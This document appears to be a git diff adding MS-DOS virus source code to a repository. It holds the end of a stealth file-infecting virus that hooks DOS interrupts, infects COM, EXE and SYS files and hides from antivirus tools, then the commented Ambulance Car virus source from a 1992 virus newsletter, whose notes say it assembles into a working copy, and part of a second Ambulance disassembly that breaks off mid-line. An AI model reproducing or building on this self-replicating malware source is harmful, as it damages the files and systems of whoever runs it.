09Ch,08Ah,09Fh,092h,09Dh,09Bh,09Ch,0E0h,0ACh,09Fh + db 09Dh,08Ch,097h,09Dh,09Fh,094h,0E0h,0AAh,097h,08Eh + db 09Fh,094h,0E0h,0B7h,093h,090h,094h,09Fh,092h,08Ch + db 0E0h,09Eh,087h,0E0h,0B2h,0BBh,0ABh,0AEh,0B1h,0BEh + db 0BFh,0ADh,0B8h,0BBh,0AEh,0D9h,0C7h,0CDh,0E0h,0D1h + db 0E0h,0B9h,09Bh,08Eh,093h,09Fh,092h,087h,0E0h,002h +setnofilestealth: + mov byte ptr cs:stealthmode, 12h +activate: ret + call clearscreen + mov ah, 2 + mov bh, 0 + mov dx, 0C00h + int 10h + mov si, offset message + mov cx, 4Eh +displayloop: lods byte ptr cs:[si] + neg al + int 29h + loop displayloop + xor ax, ax + int 16h +clearscreen: mov ax, 3 + int 10h +setnoactivate: mov byte ptr cs:activate, 0C3h + ret +execute: call setfullstealth + call setnoactivate + cmp al, 1 + mov al, 90h + call setdirstealth + jnz infectdx + mov ax, 3D02h + int 21h + jb ret3 + xchg ax, bx + call disinfecthandle + mov ah, 3Eh + int 21h + mov byte ptr ds:activate, 90h +ret3: ret +infectsi: mov dx, si +infectdx: cmp ax, 4300h + jz ret3 + call sethandletozero + cmp ah, 3Dh + jnz dontsetfullstealth + call setfullstealth +dontsetfullstealth: + mov si, dx + mov di, offset buffer + push cs + pop es +copyname: lodsb + or al, al + jz namecopied + stosb + jmp copyname +namecopied: stosb + mov cl, byte ptr cs:saveax+1 + mov ax, [si-7] + mov bx, [si-0Bh] + cmp cl, 3Dh + jnz notopen + db 0EBh +dontopenchklist db 16h + cmp ax, 5453h ; chkliST? + jnz notopen + cmp bx, 4B48h ; cHKlist? + jnz notopen + pop ax + call restoreregsandsetvirusactive + mov ax, 2 + stc + retf 2 +notopen: cmp cl, 4Bh + jnz checkifavactive + mov cl, 16h + cmp ax, 5641h + jnz notmsavorcpav + mov cl, 0 +notmsavorcpav: mov cs:dontopenchklist, cl + cmp bx, 5343h + jz setmemstealthonly + cmp bx, 4142h + jz setmemstealthonly + cmp ax, 4148h + jz setmemstealthonly + cmp ax, 4A52h + jz setmemstealthonly + cmp word ptr [si-8], 495Ah + jnz leavestealthmode +setmemstealthonly: + mov byte ptr cs:stealthmode, 8 +leavestealthmode: + push ax + mov ax, 160Ah + int 2Fh + cmp al, 0Ah + pop ax + jnz checkifavactive + cmp ax, 5641h + jz checkifavactive + cmp bx, 544Eh + jz checkifavactive + call hideourmem +checkifavactive: + mov bx, 0FF0Fh + xchg ax, bx + int 21h + cmp al, 1 + jz ret4 + mov bl, 0 + call vsafe + push cs + pop ds + mov ah, 2Fh + int 21h + push es + push bx + mov ah, 1Ah + mov dx, offset tempdta + int 21h + mov ax, 3524h + int 21h + push es + push bx + mov ah, 25h + mov dx, offset zeroal_iret + int 21h + mov ah, 4Eh + mov cl, 27h + call setdxtobuffer_int21 + jb restoreint24anddta + mov si, offset header + sub di, di + mov al, [si+18h] + mov attribs, al + cmp byte ptr [si], 2 + ja notdriveAorB + call loc_0_272 + jz checkfiletype +restoreint24anddta: + mov ax, 2524h + pop dx + pop ds + int 21h + mov ah, 1Ah + pop dx + pop ds + int 21h +togglevsafe db 0B3h +vsafestatus db 16h +vsafe: mov ax, 0FA02h + mov dx, 5945h + int 16h + mov cs:vsafestatus, cl +ret4: ret +notdriveAorB: cmp [si+12h], di + jnz checkfiletype + cmp word ptr [si+10h], 2 + jb restoreint24anddta + cmp byte ptr [si], 3 + jb checkfiletype + mov ah, 2Ah + int 21h + sub cx, 7BCh + mov ax, [si+1Bh] + shr ax, 1 + cmp ah, cl + jnz checkfiletype + shr ax, 4 + and al, 0Fh + cmp al, dh + jz restoreint24anddta +checkfiletype: mov bp, offset setcarry_ret + cmp word ptr [si+21h], 4254h ; TB* + jz restoreint24anddta + cmp word ptr [si+0Ch], 4F43h ; CO + jnz notcominfection + mov bp, offset infectcom +notcominfection:cmp word ptr [si+1Eh], 0Bh + jb restoreint24anddta + cmp byte ptr [si+1Ch], 0C8h + jnb restoreint24anddta + mov al, [si+18h] + and al, 7 + jz attributesok + sub cx, cx + call setattribs + jb restoreint24anddta +attributesok: mov ax, 3D02h + call setdxtobuffer_int21 + jb near ptr restoreattribs + xchg ax, bx + mov ah, 3Fh + mov cx, 19h + call readwritefromsi + mov ax, [si] + xchg al, ah + cmp ax, 4D5Ah + jnz notexeinfection + mov bp, offset infectexe + jmp notsysinfection +notexeinfection:cmp ax, 0FFFFh + jnz notsysinfection + mov bp, offset infectsys +notsysinfection:call bp + jb dontwriteheader + call writeheader +dontwriteheader:mov ax, 5700h + mov cx, [si+19h] + mov dx, [si+1Bh] + inc ax + int 21h + mov ah, 3Eh + int 21h +restoreattribs db 0B1h +attribs db 20h + call setattribs + jmp restoreint24anddta +setattribs: mov ax, 4301h +setdxtobuffer_int21: + mov ch, 0 + mov dx, offset buffer + jmp int21 +infectexe: cmp byte ptr [si+18h], 40h ;WINDOZE EXE ? + jz setcarry_ret + mov ax, [si+4] + dec ax + mov cx, 200h + mul cx + add ax, [si+2] + adc dx, di + cmp [si+1Dh], ax + jnz setcarry_ret + cmp [si+1Fh], dx + jz nointernaloverlays +setcarry_ret: stc + ret +nointernaloverlays: + mov ax, [si+0Eh] + mov ds:savess, ax + mov ax, [si+10h] + mov ds:savesp, ax + mov ax, [si+16h] + mov ds:savecs, ax + mov ax, [si+14h] + mov ds:saveip, ax + call appendvirus + jb exitinfectexe + mov ax, [si+8] + mov cl, 10h + mul cx + neg ax + not dx + add ax, [si+1Dh] + adc dx, di + add dx, [si+1Fh] + div cx + mov [si+16h], ax + mov [si+14h], dx + dec ax + mov [si+0Eh], ax + mov word ptr [si+10h], 9D2h + add word ptr [si+0Ah], 0ADh + mov ax, [si+1Dh] + mov dx, [si+1Fh] + add ax, virussize + adc dx, di + mov cx, 200h + div cx + inc ax + mov [si+4], ax + mov [si+2], dx + clc +exitinfectexe: ret +infectcom: cmp word ptr [si+1Eh], 0D6h + ja exitcominfect + mov ax, [si] + mov word ptr ds:first2, ax + mov al, [si+2] + mov byte ptr ds:next1, al + mov ax, 0FFF0h + mov ds:savecs, ax + mov ds:savess, ax + mov word ptr ds:saveip, 100h + mov word ptr ds:savesp, 0FFFEh + call appendvirus + jb exitcominfect + mov byte ptr [si], 0E9h + mov ax, -3 ;0FFFDh + add ax, [si+1Dh] + mov [si+1], ax + clc +exitcominfect: ret +infectsys: mov ax, [si+8] + mov word ptr ds:sysret, ax + mov word ptr ds:sysret2, ax + call appendvirus + jb ret5 + mov ax, [si+1Dh] + add ax, offset sysentry + mov [si+8], ax + clc +ret5: ret +appendvirus: mov al, 2 + call lseek + mov ah, 40h + mov cx, virussize + cwd + call int21 + cmp ax, cx + stc + jnz ret1 + add byte ptr [si+1Ch], 0C8h +lseekstart: mov al, 0 +lseek: mov ah, 42h + cwd + mov cx, dx +doint21: int 21h +ret1: ret +lseekbeforeend: mov ax, 4202h + mov cx, 0FFFFh + jmp doint21 +checkhandle: cmp bl, 5 ;LAME HANDLE CHEQ. + jb exittimestealth +checkinfection: mov ax, 5700h + int 21h + jb exittimestealth + cmp dh, 0C8h +exittimestealth:ret +blocklseek: cmp al, 2 + jnz ret1 + call checkinfection + jb ret1 + pop ax + call near ptr restoreregs + push cx + sub dx, virussize + sbb cx, 0 + int 21h + pop cx + jmp setvirusactive_exit +setnodirstealth:mov al, 0C3h +setdirstealth: mov byte ptr cs:fcbdirstealth, al + ret +fcbdirstealth: nop + inc sp + inc sp + int 21h + cmp al, 0FFh + jz setvirusactive_exit + pushf + push ax + call getdta + cmp byte ptr [bx], 0FFh + jnz notextended + add bx, 7 +notextended: cmp [bx+1Ah], al + jb exitdirstealth + sub [bx+1Ah], al + add bx, 3 + jmp stealthdirsize +getdta: mov ah, 2Fh + int 21h + mov al, 0C8h + push es + pop ds + ret +asciidirstealth:inc sp + inc sp + int 21h + jb setvirusactive_exit + pushf + push ax + call getdta + cmp [bx+19h], al + jb exitdirstealth + sub [bx+19h], al +stealthdirsize: cmp word ptr [bx+1Bh], 0Bh + jb exitdirstealth + sub word ptr [bx+1Ah], virussize + sbb word ptr [bx+1Ch], 0 +exitdirstealth: call restoreregs + pop ax + popf +setvirusactive_exit: + call setvirusactive + jmp exitkeepflags +readoldheader: mov al, 1 + call lseek + push cs + pop ds + mov oldposlo, ax + mov oldposhi, dx + mov si, offset header + cmp handle, bl + jz ret0 + mov dx, 0FFDFh + call lseekbeforeend + mov ah, 3Fh + mov cx, 21h + call readwritefromsi + mov handle, bl +lseektooldpos: mov ax, 4200h + db 0B9h +oldposhi dw 0 + db 0BAh +oldposlo dw 0 + int 21h +ret0: ret +disinfecthandle:call checkhandle + jb ret0 + push cx + push dx + call readoldheader + call lseekstart + call writeheader + mov dx, 0F830h ; -virussize + call lseekbeforeend + mov ah, 40h + sub cx, cx + int 21h + pop dx + pop cx + sub dh, 0C8h + mov ax, 5701h + int 21h + jmp lseektooldpos +stealthread: mov bp, cx + call checkhandle + jb ret0 + pop ax + call readoldheader + sub ax, [si+1Dh] + sbb dx, 0 + sub dx, [si+1Fh] + js adjustread + call restoreregsandsetvirusactive + sub ax, ax + clc +exitkeepflags: retf 2 +adjustread: add ax, bp + adc dx, 0 + jnz bigread + sub bp, ax +bigread: push bp + call near ptr restoreregs + pop cx + int 21h + pushf + push ax + jb exitstealthread + push ds + pop es + mov di, dx + push cs + pop ds + mov si, offset header + cmp oldposhi, 0 + jnz exitstealthread + mov ax, oldposlo + cmp ax, 18h + jnb exitstealthread + add si, ax + add cx, ax + cmp cx, 18h + jbe moveit + sub ax, 18h + neg ax + xchg ax, cx +moveit: cld + rep movsb +exitstealthread:call restoreregsandsetvirusactive + pop ax +popf_exitwithflags: + popf + jmp exitkeepflags +gettimestealth: cmp byte ptr cs:stealthmode, 12h + jnz dotimestealth + cmp al, 0 + jz ret2 +setfullstealth: mov byte ptr cs:stealthmode, 14h + ret +dotimestealth: cmp al, 0 + jnz settimestealth + inc sp + inc sp + int 21h + pushf + jb setvirusactive_exit1 + call removemarkerfromdh +setvirusactive_exit1: + call setvirusactive + jmp popf_exitwithflags +settimestealth: call setfullstealth + mov ax, 5700h + int 21h + jb ret2 + pop ax + cmp dh, 0C8h + call near ptr restoreregs + jb removemarkeranddoint21 + cmp dh, 0C8h + jnb doint21andexit + add dh, 0C8h +doint21andexit: int 21h + pushf + jmp setvirusactive_exit1 +removemarkeranddoint21: + call removemarkerfromdh + jmp doint21andexit +removemarkerfromdh: + cmp dh, 0C8h + jb notmarked + sub dh, 0C8h +notmarked: ret +sethandletozero:mov cs:handle, 0 +ret2: ret +; NOTE : ALL FUNKTIONZ ARE XORED WITH 5Fh +functions db 013h ; 4Ch - prog terminate + db 017h ; 48h - create mem block + db 016h ; 49h - release memory + db 015h ; 4Ah - resize mem block + db 00Dh ; 52h - get SYSVARS + db 0B5h ; 0EAh - ALLOC HUGE SEG + db 06Dh ; 32h - GET DPB + db 014h ; 4Bh - program EXEC + db 062h ; 3Dh - open file + db 04Eh ; 11h - fcb FindFirst + db 04Dh ; 12h - fcb FindNext + db 011h ; 4Eh - ASCII FindFirst + db 010h ; 4Fh - ASCII FindNext + db 008h ; 57h - get/set file time + db 033h ; 6Ch - extended open + db 01Ch ; 43h - get/set attribs + db 061h ; 3Eh - handle close + db 01Fh ; 40h - handle write + db 01Dh ; 42h - lseek + db 060h ; 3Fh - handle read +functionoffsets dw offset setnofilestealth + dw offset memstealth + dw offset memstealth + dw offset memstealth + dw offset hideourmem + dw offset modifytomseginpsp + dw offset setnodirstealth + dw offset execute + dw offset infectdx + dw offset fcbdirstealth + dw offset fcbdirstealth + dw offset asciidirstealth + dw offset asciidirstealth + dw offset gettimestealth + dw offset infectsi + dw offset infectdx + dw offset sethandletozero + dw offset disinfecthandle + dw offset blocklseek + dw offset stealthread + +header db 0CDh,020h,090h +tempdta db 3Ch dup (0) +buffer db 80h dup (0) +handle db 0 +virussize = 7D0h + end virus_start diff --git a/a/AMBUL.ASM b/a/AMBUL.ASM new file mode 100755 index 0000000..eee57f0 --- /dev/null +++ b/a/AMBUL.ASM @@ -0,0 +1,523 @@ +;REDCROSS/AMBULANCE CAR VIRUS for Crypt Newsletter #10, edited by Urnst Kouch +;December 1992 +;Originally supplied as a Sourcer disassembly in a Scandinavian virus mag +;published by "Youth Against McAfee (YAM)", this AMBULANCE specimen was +;generated in its raw form by "Natas Kaupas." Hold that up to your mirror +;and it spells Satan. Whatever, "Natas/Satan" has also supplied us with the +;MINDLESS/FamR series of viruses for you trivia buffs. The Crypt Newsletter +;is obliged to him, wherever he is, for these interesting programs. +; +;In any case, while helpful, the original disassembly had diminished +;value, being completely uncommented. It did, however, assemble +;under TASM into an actual working copy of the virus, which +;appears to be the AMBULANCE CAR B strain. +; +; +;Ambulance Car remains an interesting virus, packed with enough features +;so that it can still find its target files, .COM executables, wherever +;they might be lurking on a system. +; +;Principally, this revolves around the virus searching the path string set +;in the environment. If no path exists, the virus defaults to the +;current directory. In both cases, the virus may infect up to two files +;anywhere on the path per pass. Most times it will infect only one. +;Sometimes it will not budge at all. +; +;Once it's found a file, Ambulance checks it for the 0E9h byte at +;the beginning. If it doesn't find it, the virus assumes the file is +;uninfected and immediately tries to complete the infection. If +;it does find the byte, it continues reading from there to confirm +;the viral sequence. If this is a coincidence and the complete sequence +;is not there, the virus will infect the file anyway. +; +;Randomly, the virus will activate and run the Ambulance across the bottom +;of your screen after a round of infection. Because of the path search +;Ambulance can easily find .COM executables on a sizeable disk at a time +;when there are less and less of these to be seen. Unfortunately, for a +;direct-action virus, the disk activity is noticeable with the caveats: +;on a fast machine, perhaps not; or in front of an average user, perhaps not. +;You never know how a user will react when dealing with viruses. +; +;You can easily experiment with this version on your machine by commenting +;out the path statement in your AUTOEXEC.BAT. This will restrict the +;virus to a test directory where it can be used to infect bait files +;until the Ambulance effect is seen. +; +;Ambulance Car is detected by "rules-based" anti-virus sentries like +;PCRx (reviewed in this issue), but keep in mind this type of +;protection is not flawless. Accidents can happen. Most current scanners +;easily detect this variant of Ambulance, although +;some cannot disinfect files once they are parasitized. + +data_1e equ 0Ch +data_2e equ 49h +data_3e equ 6Ch +psp_envirn_seg equ 2Ch +data_21e equ 0C80h + +virus segment byte public + assume cs:virus, ds:virus + + + org 100h + +redcross proc far ;main flow control procedure for Ambulance + ;Car virus +start: + jmp short virstart +data_5 dw 4890h ; Data table +data_7 dw 6C65h ; Data table + db 6Ch, 6Fh, 20h, 2Dh, 20h + +copyright db 'Copyright S & S Enterprises, 198';whoah, how'd Solomon's + db '8' ;stamp get in here? ;-] + db 0Ah, 0Dh, 24h, 1Ah,0B4h, 09h + db 0BAh, 03h, 01h,0CDh, 21h,0CDh + db 20h +virstart: + db 0E8h, 01h, 00h + add [bp-7Fh],bx + out dx,al ; port 0, channel 0 + add ax,[bx+di] + call check_infect ; do path search, infect file + call check_infect ; ditto, sometimes, sometimes not + call sound_fury ; do we do AMBULANCE effect? Check! + lea bx,[si+419h] + mov di,100h + mov al,[bx] + mov [di],al + mov ax,[bx+1] + mov [di+1],ax + jmp di ; Register jump + +exit: + retn ; handoff to host + +redcross endp + +;***************************************************************************** +; SUBROUTINE +;***************************************************************************** + +check_infect proc near ; path search for Ambulance + call loadpath ; Car + mov al,byte ptr data_19[si] + or al,al + jz exit ; No path/no files? Git! + lea bx,[si+40Fh] + inc word ptr [bx] + lea dx,[si+428h] ; load effective address + mov ax,3D02h + int 21h ; open found file by loadpath read/write + ; with handle + mov word ptr ds:[417h][si],ax ;ax contains handle + mov bx,word ptr ds:[417h][si] + mov cx,3 + lea dx,[si+414h] ; load address of buffer + mov ah,3Fh ; to read first three bytes into. + int 21h ; Read the bytes . . . + ; bx points to file handle. + ; + mov al,byte ptr ds:[414h][si] + cmp al,0E9h ; compare with 0E9h + jne infect ; if not equal, assume virus not here - infect + mov dx,word ptr ds:[415h][si] + mov bx,word ptr ds:[417h][si] + add dx,3 + xor cx,cx ; zero register + mov ax,4200h + int 21h ; point to beginning of file, again + ; bx contains the handle + + mov bx,word ptr ds:[417h][si] + mov cx,6 + lea dx,[si+41Ch] ; load effective address + mov ah,3Fh ; and read the first 6 bytes + int 21h ; this time + + ; ds:dx points to buffer + mov ax,data_13[si] + mov bx,data_14[si] + mov cx,data_15[si] + cmp ax,word ptr ds:[100h][si] ; compare with data copied above + jne infect ; jump if not equal to infect + cmp bx,data_5[si] + jne infect ; jump if not equal + cmp cx,data_7[si] + je close ; finally, if we get a match we know +infect: ; we're here, so go to close up + mov bx,word ptr ds:[417h][si] + xor cx,cx ; zero register + xor dx,dx ; zero register + mov ax,4202h + int 21h ; reset pointer to end of file + ; bx contains file handle + + sub ax,3 + mov word ptr ds:[412h][si],ax + mov bx,word ptr ds:[417h][si] + mov ax,5700h ; bx points to name of file + int 21h ; get file date and time + ; time returns in cx, date in dx + + push cx ; push these onto the stack + push dx ; we'll need 'em later + mov bx,word ptr ds:[417h][si] + mov cx,319h + lea dx,[si+100h] + mov ah,40h ; write the virus to the end of + int 21h ; the file, identified in bx + ; cx contains virus length for write + ; so do it, yes, append virus + mov bx,word ptr ds:[417h][si] + mov cx,3 + lea dx,[si+414h] ; load effective address + mov ah,40h ; + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov bx,word ptr ds:[417h][si] + xor cx,cx ; zero register + xor dx,dx ; zero register + mov ax,4200h + int 21h ; reset the pointer to start of file + ; identified in bx + ; cx,dx=offset + mov bx,word ptr ds:[417h][si] + mov cx,3 + lea dx,[si+411h] ; load effective address + mov ah,40h ; and write the first three virus id + int 21h ; and jump bytes to the file + ; now, just about finished + + pop dx ; retrieve date + pop cx ; and time from stack + mov bx,word ptr ds:[417h][si] + mov ax,5701h ; restore file's date/time + int 21h + +close: + mov bx,word ptr ds:[417h][si] + mov ah,3Eh + int 21h ; close file + + retn ; return to caller, maybe we'll +check_infect endp ; infect again, maybe not + + +;***************************************************************************** +; SUBROUTINE +;***************************************************************************** + +loadpath proc near ; this procedure checks for the + mov ax,ds:psp_envirn_seg ; existence of the ASCII path string in the + mov es,ax ; environment block of the program + push ds ; segment prefix (in this case psp_envirn_seg) + mov ax,40h ; if it exists, Ambulance Car copies + mov ds,ax ; the entire string into a buffer by using + mov bp,ds:data_3e ; '/' and ';' as cues. The virus then + pop ds ; sets the DTA to a directory + test bp,3 ; found in the path and executes a simple + jz loc_8 ; file search. If unproductive, it + xor bx,bx ; recursively searches the path +loc_6: ; before defaulting to the current + mov ax,es:[bx] ; directory + cmp ax,4150h + jne loc_7 + cmp word ptr es:[bx+2],4854h + je loc_9 +loc_7: + inc bx + or ax,ax + jnz loc_6 ; jump if not zero +loc_8: + lea di,[si+428h] + jmp short loc_14 +loc_9: + add bx,5 +loc_10: + lea di,[si+428h] ; load effective address of buffer +loc_11: + mov al,es:[bx] + inc bx ; copy a byte from the path + or al,al + jz loc_13 ; jump if zero + cmp al,3Bh ; found a divider? ';' + je loc_12 ; jump if equal, continue copying path + mov [di],al + inc di + jmp short loc_11 ; loop around, continue copying +loc_12: + cmp byte ptr es:[bx],0 + je loc_13 + shr bp,1 ; Shift w/zeros fill + shr bp,1 ; Shift w/zeros fill + test bp,3 + jnz loc_10 ; Jump if not zero +loc_13: + cmp byte ptr [di-1],5Ch ; compare with '\' + je loc_14 ; jump if equal + mov byte ptr [di],5Ch ; compare with '\' + inc di +loc_14: + push ds + pop es + mov data_16[si],di + mov ax,2E2Ah + stosw ; copy portion of path, store ax to es:[di] + mov ax,4F43h + stosw ; Store ax to es:[di] + mov ax,4Dh + stosw ; Store ax to es:[di] + push es + mov ah,2Fh + int 21h ; get current DTA + ; move it into es:bx + mov ax,es + mov data_17[si],ax + mov data_18[si],bx + pop es + lea dx,[si+478h] ; address of filemask + mov ah,1Ah + int 21h ; set the DTA to first dir in path + ; disk xfer area, ds:dx + lea dx,[si+428h] ; load effective address + xor cx,cx ; zero register + mov ah,4Eh ; find first file + int 21h + + jnc loc_15 ; jump if carry = 0 + xor ax,ax + mov data_19[si],ax + jmp short loc_18 +loc_15: + push ds + mov ax,40h + mov ds,ax + ror bp,1 + xor bp,ds:data_3e + pop ds + test bp,7 + jz loc_16 ; Jump if zero + mov ah,4Fh + int 21h + ; find next file + jnc loc_15 ; jump if carry = 0 +loc_16: + mov di,data_16[si] + lea bx,[si+496h] +loc_17: + mov al,[bx] + inc bx + stosb ; Store al to es:[di] + or al,al + jnz loc_17 ; Jump if not zero +loc_18: + mov bx,data_18[si] + mov ax,data_17[si] + push ds + mov ds,ax + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area), ds:dx + pop ds + retn ; return to check_infect +loadpath endp + + +;***************************************************************************** +; SUBROUTINE +;***************************************************************************** + +sound_fury proc near ;sets up Ambulance Car effect, but + push es ; other than that, I have no idea + mov ax,word ptr ds:[40Fh][si] ; subroutines and procs from + and ax,7 ; here on down manage the + cmp ax,6 ; Ambulance Car graphic and + jne loc_19 ; siren effect + mov ax,40h + mov es,ax + mov ax,es:data_1e + or ax,ax + jnz loc_19 ; <= comment this out and you'll + inc word ptr es:data_1e ; get a corrupted version of the + call sub_5 ; Car effect everytime the virus +loc_19: ; executes. If you fiddle around + pop es ; with it enough you'll eventually + retn ; get the strain known as RedX-Any, +sound_fury endp ; for RedCross anytime. + + +;***************************************************************************** +; SUBROUTINE +;***************************************************************************** + +sub_5 proc near + push ds + mov di,0B800h + mov ax,40h + mov ds,ax + mov al,ds:data_2e + cmp al,7 + jne loc_20 + mov di,0B000h +loc_20: + mov es,di + pop ds + mov bp,0FFF0h +loc_21: + mov dx,0 + mov cx,10h + +locloop_22: + call sub_8 + inc dx + loop locloop_22 ; Loop if cx > 0 + + call sub_7 + call sub_9 + inc bp + cmp bp,50h + jne loc_21 ; Jump if not equal + call sub_6 + push ds + pop es + retn +sub_5 endp + + +;***************************************************************************** +; SUBROUTINE +;***************************************************************************** + +sub_6 proc near ; cycles speaker on for siren + in al,61h ; port 61h, 8255 port B, read + and al,0FCh + out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity + retn +sub_6 endp + + +;***************************************************************************** +; SUBROUTINE +;***************************************************************************** + +sub_7 proc near ; more speaker stuff + mov dx,7D0h + test bp,4 + jz loc_23 + mov dx,0BB8h +loc_23: + in al,61h ; port 61h, 8255 port B, read + test al,3 + jnz loc_24 + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode +loc_24: + mov ax,dx + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + retn +sub_7 endp + + +;***************************************************************************** +; SUBROUTINE +;***************************************************************************** + +sub_8 proc near + push cx + push dx + lea bx,[si+3BFh] ; Load effective addr + add bx,dx + add dx,bp + or dx,dx ; Zero ? + js loc_27 ; Jump if sign=1 + cmp dx,50h + jae loc_27 ; Jump if above or = + mov di,data_21e + add di,dx + add di,dx + sub dx,bp + mov cx,5 + +locloop_25: + mov ah,7 + mov al,[bx] + sub al,7 + add al,cl + sub al,dl + cmp cx,5 + jne loc_26 ; Jump if not equal + mov ah,0Fh + test bp,3 + jz loc_26 ; Jump if zero + mov al,20h ; ' ' +loc_26: + stosw ; Store ax to es:[di] + add bx,10h + add di,9Eh + loop locloop_25 ; Loop if cx > 0 + +loc_27: + pop dx + pop cx + retn +sub_8 endp + + +;***************************************************************************** +; SUBROUTINE +;***************************************************************************** + +sub_9 proc near + push ds + mov ax,40h + mov ds,ax + mov ax,ds:data_3e +loc_29: + cmp ax,ds:data_3e + je loc_29 ; Jump if equal + pop ds + retn +sub_9 endp + + db 22h, 23h, 24h, 25h + db 26h, 27h, 28h, 29h, 66h, 87h + db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h + db 23h,0E0h,0E1h,0E2h,0E3h,0E4h + db 0E5h +data_8 dw 0E7E6h ; Data table (indexed access) + db 0E7h +data_9 dw 0EAE9h ; Data table (indexed access) +data_10 db 0EBh ; Data table (indexed access) +data_11 dw 3130h ; Data table (indexed access) +data_12 dw 2432h ; Data table (indexed access) + db 0E0h,0E1h,0E2h +data_13 dw 0E8E3h ; Data table (indexed access) +data_14 dw 0EA2Ah ; Data table (indexed access) +data_15 dw 0E8E7h ; Data table (indexed access) +data_16 dw 2FE9h ; Data table (indexed access) +data_17 dw 6D30h ; Data table (indexed access) +data_18 dw 3332h ; Data table (indexed access) +data_19 dw 0E125h ; Data table (indexed access) + db 0E2h,0E3h,0E4h,0E5h,0E7h,0E7h + db 0E8h,0E9h,0EAh,0EBh,0ECh,0EDh + db 0EEh,0EFh, 26h,0E6h,0E7h, 29h + db 59h, 5Ah, 2Ch,0ECh,0EDh,0EEh + db 0EFh,0F0h, 32h, 62h, 34h,0F4h + db 09h, 00h,0E9h, 36h, 00h,0EBh + db 2Eh, 90h, 05h, 00h,0EBh, 2Eh + db 90h + +virus ends + + + + end start + + diff --git a/a/AMBUL3 (20).ASM b/a/AMBUL3 (20).ASM new file mode 100755 index 0000000..ba4566c --- /dev/null +++ b/a/AMBUL3 (20).ASM @@ -0,0 +1,390 @@ +;NAME: AMBUL3.C-M +;FILE SIZE: 00330h - 816d +;START (CS:IP): 00100h +;CODE END: 00430h +;CODE ORIGIN: 00100h +;DATE: Sun Aug 16 15:45:06 1992 + +CODE SEGMENT BYTE PUBLIC 'CODE' +ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING + +P00100 PROC + ORG 0100h + +H00100: JMP H00114 ;00100 E91100 ___ +;Will be overwritten with B4 09 BA-- MOV AH,09 and MOV DX +;--------------------------------------------------- + OR [BX+DI],AX ;00103 0901 __ +;DX gets this, location of string. + INT 21h ;Indef_INT:21h-AH ;00105 CD21 _! + INT 20h ;B-TERM_norm:20h ;00107 CD20 _ +;--------------------------------------------------- + DB "Infect me!$" ;00109 496E6665637420 +;--------------------------------------------------- +H00114: CALL H00118 ; . . . . . . . . . ;00114 E80100 ___ + ADD [BP-7Fh],BX ;00117 015E81 _^_ + OUT DX,AL ;Port_OUT:DX ;0011A EE _ + ADD AX,[BX+DI] ;0011B 0301 __ + CALL H0013A ; . . . . . . . . . ;0011D E81A00 ___ + CALL H0013A ; . . . . . . . . . ;00120 E81700 ___ + CALL H002F8 ; . . . . . . . . . ;00123 E8D201 ___ + LEA BX,[SI+0419h] ;00126 8D9C1904 ____ + MOV DI,0100h ;0012A BF0001 ___ + MOV AL,[BX] ;0012D 8A07 __ + MOV [DI],AL ;0012F 8805 __ + MOV AX,[BX+01h] ;00131 8B4701 _G_ + MOV [DI+01h],AX ;00134 894501 _E_ + JMP DI ;00137 FFE7 __ +;--------------------------------------------------- + RET ;RET_Near ;00139 C3 _ +;--------------------------------------------------- +H0013A: CALL H0021B ; . . . . . . . . . ;0013A E8DE00 ___ + MOV AL,[SI+0428h] ;0013D 8A842804 __(_ + OR AL,AL ;00141 0AC0 __ + JZ H00139 ;00143 74F4 t_ + LEA BX,[SI+040Fh] ;00145 8D9C0F04 ____ + INC Word Ptr [BX] ;00149 FF07 __ + LEA DX,[SI+0428h] ;0014B 8D942804 __(_ + MOV AX,3D02h ;0014F B8023D __= + INT 21h ;2-Open_Fl_Hdl ;00152 CD21 _! + MOV [SI+0417h],AX ;00154 89841704 ____ + MOV BX,[SI+0417h] ;00158 8B9C1704 ____ + MOV CX,0003h ;0015C B90300 ___ + LEA DX,[SI+0414h] ;0015F 8D941404 ____ + MOV AH,3Fh ;00163 B43F _? + INT 21h ;2-Rd_Fl_Hdl ;00165 CD21 _! + MOV AL,[SI+0414h] ;00167 8A841404 ____ + CMP AL,0E9h ;0016B 3CE9 <_ + JNZ H001AE ;0016D 753F u? + MOV DX,[SI+0415h] ;0016F 8B941504 ____ + MOV BX,[SI+0417h] ;00173 8B9C1704 ____ + ADD DX,+03h ;00177 83C203 ___ + XOR CX,CX ;0017A 33C9 3_ + MOV AX,4200h ;0017C B80042 __B + INT 21h ;2-Mov_Fl_Hdl_Ptr ;0017F CD21 _! + MOV BX,[SI+0417h] ;00181 8B9C1704 ____ + MOV CX,0006h ;00185 B90600 ___ + LEA DX,[SI+041Ch] ;00188 8D941C04 ____ + MOV AH,3Fh ;0018C B43F _? + INT 21h ;2-Rd_Fl_Hdl ;0018E CD21 _! + MOV AX,[SI+041Ch] ;00190 8B841C04 ____ + MOV BX,[SI+041Eh] ;00194 8B9C1E04 ____ + MOV CX,[SI+0420h] ;00198 8B8C2004 __ _ + CMP AX,[SI+0100h] ;0019C 3B840001 ;___ + JNZ H001AE ;001A0 750C u_ + CMP BX,[SI+0102h] ;001A2 3B9C0201 ;___ + JNZ H001AE ;001A6 7506 u_ + CMP CX,[SI+0104h] ;001A8 3B8C0401 ;___ + JZ H00212 ;001AC 7464 td +H001AE: MOV BX,[SI+0417h] ;001AE 8B9C1704 ____ + XOR CX,CX ;001B2 33C9 3_ + XOR DX,DX ;001B4 33D2 3_ + MOV AX,4202h ;001B6 B80242 __B + INT 21h ;2-Mov_Fl_Hdl_Ptr ;001B9 CD21 _! + SUB AX,0003h ;001BB 2D0300 -__ + MOV [SI+0412h],AX ;001BE 89841204 ____ + MOV BX,[SI+0417h] ;001C2 8B9C1704 ____ + MOV AX,5700h ;001C6 B80057 __W + INT 21h ;2-Fl_Hdl_Date_Time ;001C9 CD21 _! + PUSH CX ;001CB 51 Q + PUSH DX ;001CC 52 R + MOV BX,[SI+0417h] ;001CD 8B9C1704 ____ + MOV CX,0319h ;001D1 B91903 ___ + LEA DX,[SI+0100h] 